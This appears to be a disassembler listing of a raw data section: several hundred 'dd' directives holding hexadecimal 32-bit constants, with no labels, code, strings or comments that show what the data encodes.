		dd 2DACA464h, 14F8424Eh, 0A90083EEh, 8BD72007h,	0FA759D48h
		dd 1FA77317h, 5C9B9Fh, 8119681Dh, 16077904h, 0C5318BA0h
		dd 0D8541BD0h, 0C4F7003Ch, 0F923307Dh, 74001E7Eh, 0C82C6FC9h
		dd 0DA5C02h, 686518DCh,	24283FCFh, 780A1F00h, 0EAB62A13h
		dd 2DE939CEh, 0F487EB27h
		dd 8B500199h, 3E3880DEh, 0D338AB6Dh, 68FB0F1Eh,	39A0E16Ah
		dd 4E990863h, 80726439h, 50F70A21h, 1CCBF2B9h, 819ECAh
		dd 78E303E0h, 0F3009787h, 52DF1EE2h, 376D663h, 0CF81A7BDh
		dd 0CCA37F83h, 0FC680DFh, 8A1F4A3Ch, 0E4008852h, 0CEC41FA0h
		dd 0E6923702h, 96DE60A0h, 0D5016AE2h, 0D2A7DC2Bh, 5ED0DD86h
		dd 18CF6D6Eh, 0E431E059h, 0BF0034FCh, 451A8AAh,	0EE3F3D7h
		dd 6AA1E196h, 0A83CDA0h, 0EFE2B75Bh, 0B5615BB8h, 16804E89h
		dd 800EDE7h, 78FCD96Ah,	984F00CEh, 0BD81B084h, 0C7029A71h
		dd 0D9DB54C2h, 80548038h, 3A4E685Bh, 0BC145624h, 3CC0643Bh
		dd 0D89BC7A4h, 0DDE48404h, 0A5C0017Ch, 0F9D8905h, 36EC0214h
		dd 8A60D0EEh, 9288C6FCh, 34F07902h, 0E0B6D577h,	7144B3Fh
		dd 157006EFh, 3337F0DAh, 0D7070C24h, 820F3E5Bh,	38E4F360h
		dd 0EA3C1FA8h, 1D9F80FDh, 6162C8A1h, 710B1300h,	2B6F5294h
		dd 776A0155h, 35B15831h, 0A35FC4BFh, 0DD646500h, 230DEBAFh
		dd 472D034Ch, 53253977h, 0D9002EE6h, 0A18B85C1h, 1B04640h
		dd 0B8F96A05h, 0C0625AEDh, 44075E24h, 59E6F5E5h, 6986E9F0h
		dd 8E2D0F9Eh, 882011B2h, 607533F0h, 0CC79CF00h,	7B0DF501h
		dd 8515011Fh, 0D5F676BEh, 80A9706Dh, 60894300h,	620681E6h
		dd 0B6362C8Ah, 3A2D0063h, 0A0AD4164h, 1D034401h, 308099B1h
		dd 0F46E0C4h, 248F3468h, 2FB8DE20h, 27037B6Eh, 6B70D163h
		dd 0E084A0B9h, 9486310Dh, 8C335E69h, 1108BBD8h,	47671CDh
		dd 7519AC69h, 0FE4280FAh, 20C026E7h, 0F1A68D21h, 0AAE90E50h
		dd 24E3DFE5h, 96B02F15h, 9973DE8Eh, 47D99205h, 8B1EA4E2h
		dd 34EDD40h, 605143h, 3672B159h, 0B03714C0h, 687FEF00h
		dd 0C6632BEAh, 3AB50732h, 0E0B8D073h, 96A8D3A4h, 0C54798C0h
		dd 8C425h, 52587202h, 2F8B2B35h, 26306B00h, 22C56238h
		dd 466519FBh, 0EC338AE3h, 8D0E6729h, 58E13BD5h,	0BE6F91h
		dd 347D1542h, 876BED1Fh, 0A8C9CF04h, 2D82D89Fh,	97A44035h
		dd 1FEE7927h, 40056283h, 4C0B542Ch, 7F72BA75h, 30A15C07h
		dd 0A2C0C521h, 73EF7EDh, 0D6B87E04h, 9C9F4303h,	72A52001h
		dd 0C468E585h, 1A055E0h, 7B42FD9h, 20B080A6h, 3E00430Ah
		dd 0C6D80E42h, 0FE86ACh, 0C9F6F946h, 0EA73B8D7h, 0F3527200h
		dd 0BA09B00Ah, 0A18E0041h, 9E9212D8h, 21000FD9h, 69D32B64h
		dd 3AE2302Fh, 6E3E565Dh, 0FED96500h, 0D8EC940Fh, 5169EF00h
		dd 0F34FE410h, 553E078Eh, 867E53C0h, 6500B09Dh,	0A9847894h
		dd 0DB2FBAh, 9223E0F6h,	413D7544h, 6822F909h, 314C0CA8h
		dd 37DC0079h, 0D144F37Ah, 56063A5Ch, 35E85B5Eh,	5D60FB20h
		dd 276A00A5h, 81F387C9h, 8C0C0DC3h, 387EC6E1h, 0B0F000CAh
		dd 57E3228Bh, 4F09AA1Ah, 80ABD3F8h, 0B341A4BFh,	82EF1CBEh
		dd 80511DE5h, 9C013A2Ah, 0E800D970h, 6F37A550h,	0EFD0D9Fh
		dd 457233E7h, 60C7932Eh, 0A5E3D066h, 0BB00EB61h, 0B3ACC15Ah
		dd 0E8BDCB30h, 32B10019h, 4B8B9447h, 0DDB858E8h, 7AD89D13h
		dd 0C6564200h, 0E24279h, 1EEAF338h, 0F0DF0BFFh,	23722F00h
		dd 0AAB66ABCh, 15C90087h, 0CA117DEh, 0DB00F0E0h, 88F3E866h
		dd 6F7C59h, 9553AF33h, 9F6C08D7h, 48FC4830h, 0E06928DBh
		dd 0BCFA00EDh, 580FA684h, 109A482h, 81FC3715h, 0E1ABDA63h
		dd 1B2A2E8h, 0DC53F6BBh, 0C496D31Bh, 0FD00C25Ah, 19FB0E16h
		dd 39AB454Fh, 77C88Eh, 0D3D1DC43h, 0ADD3CA1h, 8C146901h
		dd 0F9AE1E10h, 0F7F16C8h, 4321080Dh, 0C88086AEh, 0AB51DA7h
		dd 41352A00h, 3A9646C1h, 6CA5384Ah, 4E8E187Ah, 68EFA876h
		dd 9786DB00h, 30B2D5E9h, 0A8990090h, 16EEC5C1h,	930733DEh
		dd 45967A50h, 22B55580h, 13FE8Ch, 0FCD4A891h, 21B1EB18h
		dd 40904C00h, 0BB3F7864h, 0C471CAh, 58B3A8CBh, 0FA8C10D1h
		dd 0E135180Fh, 72A900B0h, 3C44EDEh, 0F3F7B5EBh,	0C0F763A2h
		dd 0FFCC1610h, 68CD9A00h, 8A4D6D2Bh, 28A5629Ch,	5000A3B7h
		dd 0E96F2Ch, 0C7FE8C13h, 40289F03h, 0D310101h, 3A5EDD2Bh
		dd 73D547E8h, 9B5F00BCh, 9EF175AEh, 82000D89h, 0D0CBA4E6h
		dd 44FD4Ah, 0CC283A8Fh,	0F1014D30h, 45BA8400h, 3B2C9504h
		dd 57AB002Ah, 6F7FB667h, 90000D20h, 0A5EBD1Dh, 0CC157Dh
		dd 86F8B778h, 35F03E03h, 13FF5C00h, 6CA6EB66h, 2A78011Ah
		dd 83B2F8BCh, 0A8DBE447h, 92706501h, 9CE644B6h,	4246006Eh
		dd 470AA1F8h, 0A4E03Ch,	49205371h, 0D00B11h, 9144ABCCh
		dd 1B32386Ah, 0AAA90503h, 806B9DC1h, 8753DCh, 0FF19D048h
		dd 3F9C3EA7h, 7B953600h, 27C8F172h, 0EED0E232h,	7F990E9Bh
		dd 0ABA064F8h, 6E398ED1h, 300CD90Fh, 0BEC50010h, 2F6F69h
		dd 0AEAC4F17h, 0CB469D3Fh, 0B12AA700h, 0D98C649h, 0BCF907C2h
		dd 0E0BD979Ah, 3815D846h, 1D3DB9EAh, 0D14C837Eh, 8853E802h
		dd 13334F4Bh, 1F7959D9h, 0A1807FD4h, 93881ADDh,	0F8006348h
		dd 6E25CC20h, 0EDB3Ah, 17ABA454h, 2F8E71A6h, 0F632FD00h
		dd 790BA30Dh, 1E6A7406h, 976B8F03h, 0D9770166h,	60C32068h
		dd 0F505D6AAh, 6101738Ch, 51E574C0h, 3B4F742Bh,	69002018h
		dd 0E30BE041h, 0C4006E11h, 57C134CFh, 3F0DA43h,	41495F3Bh
		dd 87C0B251h, 0A6002DC4h, 0B171D3B8h, 0A468D4h,	119D02B0h
		dd 0B493CBECh, 0D299000h, 0E09BC2BEh, 6FE31F2Ch, 264CC3D0h
		dd 0C9E022D8h, 0EE0039C5h, 59E958Bh, 14DA81Eh, 6D7BE85Fh
		dd 0F49FF2BEh, 5A0760D5h, 0C37E3BE3h, 0CED45F40h, 7553008Fh
		dd 9CD1474Bh, 76008D33h, 0B54551A2h, 0B4140h, 32F05F9Fh
		dd 3B9EB8B1h, 0AF79701Ch, 0FC056EE4h, 6CC0589Dh, 46F930h
		dd 562D83D4h, 11317ED1h, 0E32F9300h, 89C84560h,	0D3FA1329h
		dd 2B4C00F6h, 421D7D3Fh, 0F522D60Fh, 0F975C3DBh, 0AE09D819h
		dd 0F81500FFh, 65331C7h, 9100660Ah, 951B79EDh, 90A36E3Ah
		dd 3BA2006Bh, 9B5E753Fh, 0BB000FB3h, 5A314610h,	0EA29A9ADh
		dd 0F66600B9h, 0EF8D9EA8h, 0D1009933h, 0A37AFC71h, 483621h
		dd 1E52E2DAh, 6B8B092Ch, 0F7006CE2h, 35D084F9h,	259C90BBh
		dd 3E4025C8h, 504C0801h, 806805D1h, 5FC3CF89h, 0F990E782h
		dd 7B4B1090h, 2B323F98h, 659C170Eh, 0DFC23140h,	0D503A814h
		dd 0F518683h, 9BDAA839h, 0A291006Dh, 473B135Ch,	110EF0E4h
		dd 871D57E2h, 0F90716h,	0CA22AE8Eh, 0C6FC1EBDh,	0AC829218h
		dd 4B760065h, 7795F183h, 58B80005h, 0C26343EFh,	0A1757A86h
		dd 0D7A8AA00h, 22E29D65h, 0EEED004Ch, 0A76F9C2Ah, 0E700313Dh
		dd 693FE435h, 2EFC258h,	0C3079DF1h, 9CA00415h, 0E47CB6EBh
		dd 0C0ED10CFh, 7F0399FCh, 1B59008Ah, 0DA69FB19h, 750E9230h
		dd 202E90C1h, 28DFE47h,	88D600EEh, 46A20FB2h, 661EF5BCh
		dd 4207994Dh, 0A1906C93h, 9F9A28h, 822DEF32h, 0EA8841A7h
		dd 50588EE0h, 42386Ch, 467759CEh, 2C7EE382h, 269633h, 6948DB61h
		dd 9C3A72BFh, 434F00A1h, 21A0FEBBh, 0B42307FBh,	80DB766Dh
		dd 0CFCCA994h, 6F517800h, 0D777DC39h, 1997810h,	381615E9h
		dd 0E8AF315Dh, 240054FBh, 0B39ED220h, 0F491D14Dh, 957449h
		dd 6CEC93EAh, 81FF98D6h, 1EC25D06h, 72CCD18h, 7609A180h
		dd 0CFB7C13Ch, 2062615Ah, 7B744F38h, 0BFD0823Ch, 4405F8F7h
		dd 1FC7CD21h, 61EE0C80h, 0C05F003Dh, 0C31A48ABh, 9848966Eh
		dd 31870058h, 539DE7D5h, 0C1EC04h, 0E93D2183h, 2C5DCADCh
		dd 80657A3Eh
		dd 0E44AE5Eh, 0BD7FCF3h, 471C1988h, 5D847000h, 0B400B2EFh
		dd 0C607571Fh, 2DDCA4h,	2391BAF4h, 0D00A46C0h, 885AD801h
		dd 0A64C2CA2h, 63A7E0h,	4FF8D411h, 0F7943AC6h, 0E3DB0C00h
		dd 19564187h, 8EB50065h, 51B22D8Fh, 76005A2Ch, 2BB3D494h
		dd 9C654h, 98A8BFA7h, 8EB9D019h, 4200DA7Ah, 33864041h
		dd 395E4464h, 2800A7D6h, 17D4ECF4h, 63023F0Fh, 0DA0D0EC1h
		dd 86F0407Ch, 59130042h, 0AE4055BDh, 0EB7A3B28h, 74C42600h
		dd 0F8D0E0DBh, 139D03DFh, 76F3F089h, 41F5E797h,	70939C91h
		dd 15003272h, 3337A06Dh, 0F0B20DFh, 0D3813E44h,	0C9663640h
		dd 6F126B18h, 211CB62Bh, 89DC9900h, 0C3FD8Fh, 38FCD0E2h
		dd 3F42949Ch, 195DA502h, 608FE80Fh, 24284FBCh, 6898Ah
		dd 41EFDE3Ch, 0D4A09C01h, 4F0094D0h, 0EA7574CEh, 22C468h
		dd 373CFCE8h, 0ECAAC135h, 645C0E00h, 97F78626h,	52460017h
		dd 36FE24E0h, 8F009BB6h, 0E6D08575h, 72D4F96h, 455751CDh
		dd 0F7DA7034h, 93F20C06h, 0F22F1116h, 0C9EC8807h, 5D2D5470h
		dd 5BC30027h, 172015B3h, 0E8388CA3h, 214E8B9Eh,	8D9800ABh
		dd 0C08E465Fh, 3C47CFC0h, 85071DB2h, 0F7972662h, 7D05877Fh
		dd 10B7BAE0h, 55E40071h, 92DA8CDCh, 4F00F5D2h, 5E1BEEABh
		dd 0F88B681Dh, 71CE003Ch, 3F18D43Ah, 100DEB0h, 8D1EA72h
		dd 738858Dh, 1C811362h,	4B0730A1h, 68C39CAAh, 0AB2AD025h
		dd 54D6F04Ah, 265F01E8h, 501FC048h, 4D8880DCh, 0F741D9E9h
		dd 249CFA3Eh, 19FB738h,	26817BC1h, 0CCD8D1E5h, 50183627h
		dd 85E97E6Ch, 0D789444Fh, 0FDB24006h, 206B3Dh, 8C7CA0DFh
		dd 0BC90AB92h, 3F562358h, 0F68800E7h, 0D5F7D0EDh, 722800A3h
		dd 0D6B4AA60h, 0A4005233h, 1062AE5Bh, 0A22B65D2h, 7EAC2084h
		dd 5FDD1Ah, 4E0E6F2Fh, 36CD0D82h, 3FC01F03h, 0DBAEA1h
		dd 0EA834928h, 30500FD8h, 5090D230h, 0C6A803h, 2FB01D68h
		dd 24DE7DBBh, 816CC13Fh, 0D2486D5Eh, 0C2D5ACB9h, 0E6484CEBh
		dd 9E9B2F00h, 199221ADh, 980A901h, 8BBAA0F7h, 366DC4h
		dd 0F29A5B0Ch, 76CBDABCh, 0AD41E116h, 280E8F07h, 66042079h
		dd 39C1DCDFh, 1F80483Fh, 30D46E0Ch, 23009B3Dh, 6D536419h
		dd 0A71446h, 0F9C6107Ch, 37E51E35h, 5030D200h, 0B6555840h
		dd 4050DD95h, 156A8DD8h, 0DD0EA7FDh, 0F0232Dh, 8BEBA6D9h
		dd 909A181Eh, 0CC1CC880h, 880A9C0Ch, 1A80E4h, 0FD2E9EEh
		dd 0C5F04F7Ch, 79B50400h, 496C2DB4h, 0FD130050h, 8B7C9DDEh
		dd 8C123347h, 0B200C3B2h, 99871CA6h, 7ECD2EB6h,	9DD30029h
		dd 6E39D649h, 92FD3A00h, 0F21AC6EDh, 6A972CAFh,	278700C6h
		dd 0B3D3DEA0h, 0F4AB8203h, 0A828F2A2h, 30866479h, 5F598134h
		dd 7500A835h, 3ECE05CAh, 0FC07F6EEh, 1D3600D3h,	1813F54Bh
		dd 0D2012D27h, 0EDB1F2AEh, 0A301983h, 0DEE93CDDh, 80C8A814h
		dd 0FB530C00h, 0E1F21F56h, 0BD2F800h, 0EC740F83h, 5A7FDBh
		dd 0F4D0A07Dh, 102A336Dh, 1D64FD00h, 0C471231Ah, 3C73D94h
		dd 83D6B00h, 7D3E2A49h,	0B8B55A01h, 0C3D770A7h,	0C855F4h
		dd 75913F0Bh, 1FB0D971h, 2159511Ch, 0F70058EEh,	8B762E63h
		dd 7528A4E9h, 0CACB1D29h, 44468050h, 0D22A40ECh, 0E713F000h
		dd 7A274319h, 0EDF40007h, 85E42469h, 8700773Fh,	5B76020Bh
		dd 76A529DBh, 1B3A00C2h, 36C751FFh, 970072AAh, 95BA1232h
		dd 0AA013A5h, 8923650Dh, 841B7020h, 0CF0CEFh, 69736AFAh
		dd 0EC25E4B8h, 98B8800h, 1641A4EEh, 0C8C30068h,	0C0B4187Ah
		dd 48C02AC6h, 0F256D40Eh, 31CB005Eh, 1AEEE24Fh,	3F393C71h
		dd 0A8E40EECh, 7A76A778h, 0B62DA08Eh, 0FC3B749Dh, 0F38118BBh
		dd 6E0B0877h, 0C75C5100h, 0AAA4A50Ch, 0CBE41E30h, 0C97BC170h
		dd 0BE1884ADh, 261E0028h, 503A8691h, 0A3FF7994h, 308385A4h
		dd 1658003Dh, 0FEAF13ACh, 0B979CF26h, 0A558B01Fh, 0C8915E00h
		dd 18830ECBh, 0B826DAFCh, 470094FAh, 0C58AC45Fh, 5741A332h
		dd 0A50380E7h, 719242F1h, 2568D4h, 81BABF3Ah, 0B5C960F1h
		dd 0FAE96C01h, 2AAF1412h, 2EF080C2h, 3DF310F4h,	1B8FDC6Dh
		dd 9B609D75h, 3FFDB9BCh, 6BE89260h, 48A8A6CAh, 45001441h
		dd 0AFCA5E0h, 59EEF92Bh, 50F42004h, 24913B80h, 0E2CAD59Bh
		dd 10201CA4h, 0C07BC8D0h, 6A52E46Ch, 25391801h,	3616B8C1h
		dd 41E9A91Fh, 9600CCE8h, 5D701034h, 1F53A2F9h, 63674B3h
		dd 6873E983h, 10F0EA00h, 685E5B01h, 0B4B800EDh,	0F5266C72h
		dd 0B1E03C6Dh, 6B0D4900h, 5D8315BBh, 0AB180060h, 0B316FDBFh
		dd 8E00A21Ah, 3EFA7242h, 0ECE83AE6h, 0A8E3006Bh, 93D6C481h
		dd 4EC1BD51h, 453F9633h, 17D2D5C8h, 0C602EAh, 0E21CCAC3h
		dd 8A1DC924h, 2000AEF3h, 0B0F4418h, 32990013h, 0E2A0613Eh
		dd 5C005D7Dh, 821D49D0h, 17B1CA16h, 954A5BAh, 20201E5Ch
		dd 0C05FACA4h, 40928100h, 0CF3A2E52h, 7B8500D1h, 0EAA5AA50h
		dd 943A537Dh, 69CA0021h, 88C0729Ah, 718F00DDh, 0DB31F441h
		dd 0B7003D64h, 13895C44h, 3A77AD08h, 0B4813393h, 0F429D334h
		dd 1A9070A3h, 0B2F83000h, 72114335h, 603C0739h,	80826Ch
		dd 0F5F361E5h, 2B8B3Eh,	0FA7D430Dh, 0F2E6F8h, 0E167AFA5h
		dd 3A08BBE2h, 664B3C30h, 3870541Dh, 3506B0DBh, 21AE5D72h
		dd 0A72FE400h, 0D640FB89h, 10EB0C5h, 659169E2h,	0D04516B1h
		dd 0FE13C8AEh, 8200C307h, 266A51B7h, 3C3B3A06h,	73D704F2h
		dd 0BAA6C2FCh, 0E736C7C0h, 0A0B600EAh, 2E514E32h, 3300CB3Ch
		dd 2C31B1F4h, 98DFC57Fh, 18B4006Eh, 4CBA2A48h, 970015A4h
		dd 0E9A84E9Dh, 0D5088Ch, 3F2BB10Ch, 76E0B6A0h, 8642A100h
		dd 0A95C3013h, 70FE7Dh,	6032AA53h, 0C7A3AF46h, 63D40901h
		dd 646C4230h, 33D208F0h, 94F09222h, 4AD17980h, 0DBDA4D50h
		dd 19663B0Ah, 12809888h, 38EA6102h, 0FE991F28h,	0D967408Ch
		dd 83AC3423h, 0E0DD0800h, 19609FAEh, 885600FCh,	0BDE20506h
		dd 17484279h, 0CC30007Ah, 28297065h, 0FFD31461h, 1500A07Eh
		dd 2C48108Fh, 2EEC86ACh, 0ABB1F0E9h, 8FDCB33Ah,	0E008E185h
		dd 30B6A556h, 84E20789h, 0FC64A44Bh, 0BC1ED738h, 97E5FF1h
		dd 16C12Bh, 0B17F5AC5h,	7D390FC7h, 0F8E04419h, 0F32E598Ah
		dd 56107E03h, 9E354DDFh, 0C4480488h, 333D76h, 9E981A9Dh
		dd 0F930C0C2h, 19C3A040h, 1F50D0BFh, 275C5A8h, 0F45B82BAh
		dd 0E7AD41F7h, 1D74FBFCh, 0CF22954h, 8611C1E2h,	55E02D00h
		dd 0CFF5F082h, 0C048DF41h, 4C331AACh, 20A4BC8Ch, 0E0944809h
		dd 0EE8085D8h, 0B5E11802h, 3A149380h, 0A815E858h, 8100147Ah
		dd 0E59C928h, 8C5607Ch,	3060D045h, 431DC720h, 4AA10381h
		dd 0CBAE6951h, 0B34EA24Fh, 0C0700D4Ch, 47C981BEh, 2700EFE7h
		dd 0CE0C3345h, 38084468h, 84C55050h, 0E2DE39C5h, 7A483070h
		dd 1450E5A7h, 3C72027Eh, 17826C33h, 0A127CE62h,	900A9CB4h
		dd 20C60682h, 45099E84h, 58A0B60Ah, 0ED2A61C0h,	3E01186Dh
		dd 0EC336A62h, 3058BE87h, 64C853B0h, 0F6205E07h, 0CF189A8Ah
		dd 9D2B7321h, 0FE2885EAh, 44285305h, 89680F40h,	0C5F019B7h
		dd 7C0B81Eh, 0C5BDA58Ch, 20EDDF0h, 62CFE2B0h, 70C1EC96h
		dd 7B68B9DBh, 0DE4F488Ah, 0AC8800D0h, 0AE4A6F1Dh, 0B5507090h
		dd 530F8CD4h, 0A2E622Dh, 11C148BEh, 4916FC64h, 8906C2E4h
		dd 0B2A44E8Ch, 38665888h, 63FDCC00h, 0E495CE69h, 974E6205h
		dd 502C8AEEh, 0BCEC29BBh
		dd 2B7E052Ch, 82B83972h, 12845988h, 219E1834h, 2E8C2A0Ch
		dd 0A1F3914h, 68AE759Bh, 226C07DCh, 53ACC3C1h, 0F42CA803h
		dd 0C80C4828h, 3A6E6965h, 0E00434Dh, 8E620317h,	0A4A57FF7h
		dd 0DA1C3E61h, 0AD585087h, 75DBC21Dh, 732A485h,	0DA674C84h
		dd 0B0781588h, 1458BB24h, 79E1F86Eh, 5E6C4C7Fh,	2C993226h
		dd 2D57A801h, 0B0517C0Ch, 18B89C81h, 73CC5124h,	0ED33B015h
		dd 7DFEC2ACh, 2E8C868Bh, 748C5648h, 0D2018862h,	961E1C98h
		dd 6E754207h, 96F98AB3h, 5B70C570h, 601E96h, 1E41F924h
		dd 0CC132D29h, 88785EACh, 93610403h, 0C0B84AFFh, 6B3BBA84h
		dd 0BD601891h, 2664F740h, 580B790h, 2C6E7189h, 0B4F650A8h
		dd 809A36ECh, 75EAE300h, 8CC6D74Eh, 0D45923AEh,	0DC2A9C00h
		dd 0C56FA3Ah, 0B0F4A202h, 38D17EF0h, 4C78C018h,	0CFFE2E79h
		dd 6E4A9CE9h, 5ECEE358h, 846604D9h, 41A86188h, 0B028B885h
		dd 0EADD0393h, 2E6A9C8h, 218DBF89h, 113C1858h, 29B0C498h
		dd 2202D205h, 0E4048CEDh, 80CE41D1h, 18945218h,	20F4A62h
		dd 237EA2C2h, 0E8C4E90Eh, 90BB794Eh, 0E1042998h, 35384360h
		dd 57243BC8h, 4CF024Ch,	0DCCE6E95h, 964E9B80h, 24AEF07Dh
		dd 72D8BBEDh, 28DE7C83h, 62828132h, 8108C548h, 0B35F6660h
		dd 8F3C642Ah, 4F1D9602h, 0B894D75Ch, 155EC24Ch,	0C0F33BB8h
		dd 0F0261C14h, 1C49612h, 1D8F078Ch, 2A04AAFh, 8E0DC81Ch
		dd 0AFC8A62Dh, 6DEE0A38h, 5BB8283Fh, 220757D0h,	53CC0241h
		dd 106E4C5Bh, 193686B0h, 58B8D814h, 80C442CCh, 1B9BD510h
		dd 0C1B0C0F0h, 8C2840A8h, 0E0B8146Ah, 4A9CAE59h, 0E2783152h
		dd 1430A679h, 129BE958h, 6F984A9h, 586A825Ch, 7387ECA5h
		dd 0D53F838Fh, 632309B0h, 69C1675h, 8FFEFA8Eh, 42127801h
		dd 8006B107h, 5058F41Eh, 28EC94BDh, 0FD9C97B8h,	0A1D00021h
		dd 0C0289915h, 786D04EFh, 61F8F263h, 2C480EFDh,	99349CEh
		dd 0D086E890h, 0CC1740A3h, 183914EEh, 1408C2ECh, 0C44C5868h
		dd 283A5609h, 6C70A416h, 1459518h, 55721E8h, 8B4E70E3h
		dd 0BBDC38DFh, 55088A1Dh, 442ECCAAh, 0D60B783Eh, 5E49C6Eh
		dd 0C02B5E12h, 75CC404Dh, 8DAC2D6Ch, 0E8C3707h,	2C809FE6h
		dd 1B1D4A30h, 20731B8Fh, 4E590E0Ch, 24933137h, 586C6409h
		dd 3913138Eh, 7000929Ah, 2D1A7081h, 0DFCB004Ch,	0F189CE6Bh
		dd 0E0006E60h, 2C4E6402h, 312F1DFFh, 2B205686h,	7CC4205Bh
		dd 14184B58h, 16CC0AEAh, 0C4017381h, 8E591A63h,	0CA0A55CAh
		dd 8C480367h, 2CA0D445h, 10C62B24h, 28780EA2h, 7DD0D52Ah
		dd 9DE1E9FFh, 0ECC2C60h, 8E5F9785h, 0AE88FADh, 34D002ACh
		dd 4161975Ch, 79D5A2FCh, 0A80CF89Eh, 755131B0h,	9C448D70h
		dd 70B12558h, 6470C5F8h, 0B8D467EEh, 0C09C8978h, 0AD4FCD04h
		dd 0E9008E42h, 841FA8B6h, 7E68E303h, 0C0E1A0A6h, 0C0CE5E4h
		dd 0D33A644Ah, 0FD004608h, 2AE08659h, 5FA668h, 8BA41F05h
		dd 7C65618h, 0C40F277Dh, 67ED55h, 4F4192FCh, 6618002Dh
		dd 0E2B206DCh, 0EE00E58Ah, 0FDAAC9FBh, 0DE656h,	4F641F74h
		dd 94265911h, 0A65BC407h, 0C64175C8h, 208AFFDBh, 4028355Ch
		dd 0E247D631h, 20DDD7Bh, 28C856AAh, 5F207CF1h, 1DB6E20Bh
		dd 74085B2h, 8184EA92h,	0F014B3D2h, 13600D12h, 86757318h
		dd 1E530FB7h, 0BCDD781Dh, 0C8A8D700h, 71A2977Ah, 8092D10Ch
		dd 7C6F40B2h, 0C03700C6h, 5D9786ADh, 0D71E9527h, 1703522Dh
		dd 0C194B5FBh, 608E7F22h, 809F7EC2h, 0B2B0334Eh, 851988A5h
		dd 321850F7h, 188E5721h, 0D2872227h, 0C1FAFFEh,	0D1C00E73h
		dd 0BF1BA8DFh, 3595A150h, 0ABE91880h, 4D3C7786h, 0DC72B00Fh
		dd 19570341h, 0DAE03185h, 803317D8h, 0B1F6D399h, 0C73026F2h
		dd 81EF2408h, 0F0E9D492h, 1280D152h, 73B57CBCh,	0F87B63D2h
		dd 32F07EA5h, 8A0CE83Fh, 10E2ABF7h, 84880765h, 83E49E97h
		dd 5BC0112h, 901CB082h,	95689258h, 0E3C01F77h, 83183AECh
		dd 90A609BBh, 0A3A4990Eh, 2A4441D1h, 0B530DB45h, 0C49F078Eh
		dd 0C199822Fh, 0D08FF8ABh, 7C580FB8h, 2CAA3ABEh, 783B3CA4h
		dd 0F63EA3Dh, 0C099AE84h, 0E154CE44h, 1D173AE3h, 267A830Fh
		dd 1FC36301h, 5F7ECCC0h, 0E4648F00h, 0F1849251h, 1928CF2Bh
		dd 0F6D87A49h, 6D7F8F74h, 2B9E38C3h, 0F462E1A3h, 6761A9E3h
		dd 1A857080h, 65779CBDh, 7DCAA400h, 5E498F98h, 59EF004Fh
		dd 648B36C3h, 0DB03F36Fh, 8431BAA3h, 0A686F804h, 89A93344h
		dd 50CEFCE8h, 1C81333Ch, 8B1F0D64h, 30EB650Ch, 4410C6A4h
		dd 0D90241BCh, 0D5C4859Bh, 4098835Ah, 8BE3A35Bh, 9A23C042h
		dd 263F843h, 4485D7F8h,	888334DCh, 3A0EFBEh, 4880C21Dh
		dd 0E4940C6Ch, 0E181ED8h, 0C150FE62h, 0C0D006F9h, 6760A43Ch
		dd 71FFF08h, 0E1B3CF84h, 1817F343h, 8647498h, 23E2E06Fh
		dd 80466744h, 0A87DC343h, 7F520318h, 4A1410h, 0AFB44495h
		dd 461663C0h, 81D108C0h, 7C5C43BEh, 75A33121h, 0D4D2DC49h
		dd 0FE50CBC3h, 6B04E1E0h, 3AB52498h, 0A7272087h, 0FFDA0441h
		dd 281BE441h, 1891E098h, 1C904C84h, 0B0234410h,	93C8012h
		dd 0A6024114h, 0D3405D04h, 0F550A984h, 0A561084h, 0FDFC03ECh
		dd 0D0221DEAh, 0A8B0B9F8h, 0A499B90h, 0FFC42495h, 58C00AB8h
		dd 44004E1Ch, 4ED81512h, 0DA99EF1Dh, 328C9F5Eh,	624BE0E2h
		dd 4A29B042h, 26D13C40h, 150420A4h, 0D98C1916h,	8BAEF902h
		dd 34301042h, 401393Ah,	0F89BC526h, 0DBC0FCD9h,	0FDF228C3h
		dd 9D560E8h, 248B5C2Eh,	0E43C40h, 44843536h, 49F9155h
		dd 248A9720h, 0C50A0E5h, 28A842BCh, 12F89D98h, 7230EB62h
		dd 57044037h, 6F10C9EEh, 0B6034007h, 0FBB6785Eh, 94D4231Dh
		dd 4FA1128Ch, 38389C0Eh, 0F0D7F7F0h, 24984923h,	201EF318h
		dd 38C715B3h, 864FFB42h, 5108FE6Ch, 0FAF1B8DAh,	8CE43283h
		dd 0ACA184E9h, 8194201Ch, 0BE588663h, 0F981868h, 152F089Ah
		dd 2763E000h, 1D64A32Eh, 7B44909Ch, 48C3F861h, 83072CF9h
		dd 0C0C04C2Fh, 0A3BEDEBAh, 0F8AF7137h, 0C9F820B9h, 0ECE49F8Fh
		dd 24A4FE5Ch, 0F14337Fh, 0EBFD574h, 24832C02h, 4C1538Bh
		dd 83208C7Bh, 31C308A2h, 0E01846B3h, 3F84D057h,	3130AA4Ch
		dd 37C029A6h, 98097303h, 84566E63h, 0E844AD98h,	5D16044Bh
		dd 7CC241Fh, 81911F24h,	878C94E4h, 7AA19540h, 8259F7C7h
		dd 86935C38h, 1308A89Ch, 6A06EC3h, 80BA1934h, 3D3F26h
		dd 8261730Fh, 408C9C04h, 0A192DC8Ch, 0AC34FAE8h, 4888E15Ch
		dd 0E5134805h, 0F0648001h, 0D9D07CB1h, 28F4A091h, 203498E3h
		dd 0B662F6E9h, 4047A330h, 60714470h, 0D509609Ah, 0BF28C495h
		dd 0A53AA88Eh, 25040AD4h, 720EC830h, 634D9F77h,	85F510DEh
		dd 48180C30h, 0E13C4C90h, 6B989174h, 898E6F01h,	39C03008h
		dd 1710D453h, 94153D46h, 411901E4h, 0A8247CB2h,	0E5A40889h
		dd 0C63CEC9Eh, 0C9041218h, 0A679B006h, 0E2841230h, 0C6980AD3h
		dd 0E8599884h, 0D093D5A4h, 0FF0C1481h, 0C645BDEh, 0E430C2D4h
		dd 2460F2C6h, 8898D1C2h, 60B8F954h, 449F8D2Bh, 40E9680h
		dd 98970A9Ah, 9EFE2044h, 44D07A51h, 83B80EB0h, 0B005FC69h
		dd 422030C7h, 2D7FC9F1h, 99F89609h, 43AC01C0h, 1448B898h
		dd 0AA961362h, 0F9284F4Bh, 44B80532h, 122C9336h, 2F1081B4h
		dd 41408C5Ah, 4C6A88FEh, 0E612B8A3h, 0A48C09B0h, 54047403h
		dd 4831087Ch, 0E951047h
		dd 84493802h, 24D4307Ch, 58D7173Eh, 629A20ECh, 1C441055h
		dd 6182CCC8h, 9DADE0E9h, 3F2CCC90h, 0F214E4E2h,	10C309A4h
		dd 87A802EAh, 5E49C65h,	0F9677B59h, 0D9A00506h,	0E33C8039h
		dd 0A490A607h, 1C60C182h, 60DEAEF2h, 37C8D659h,	0AC83A020h
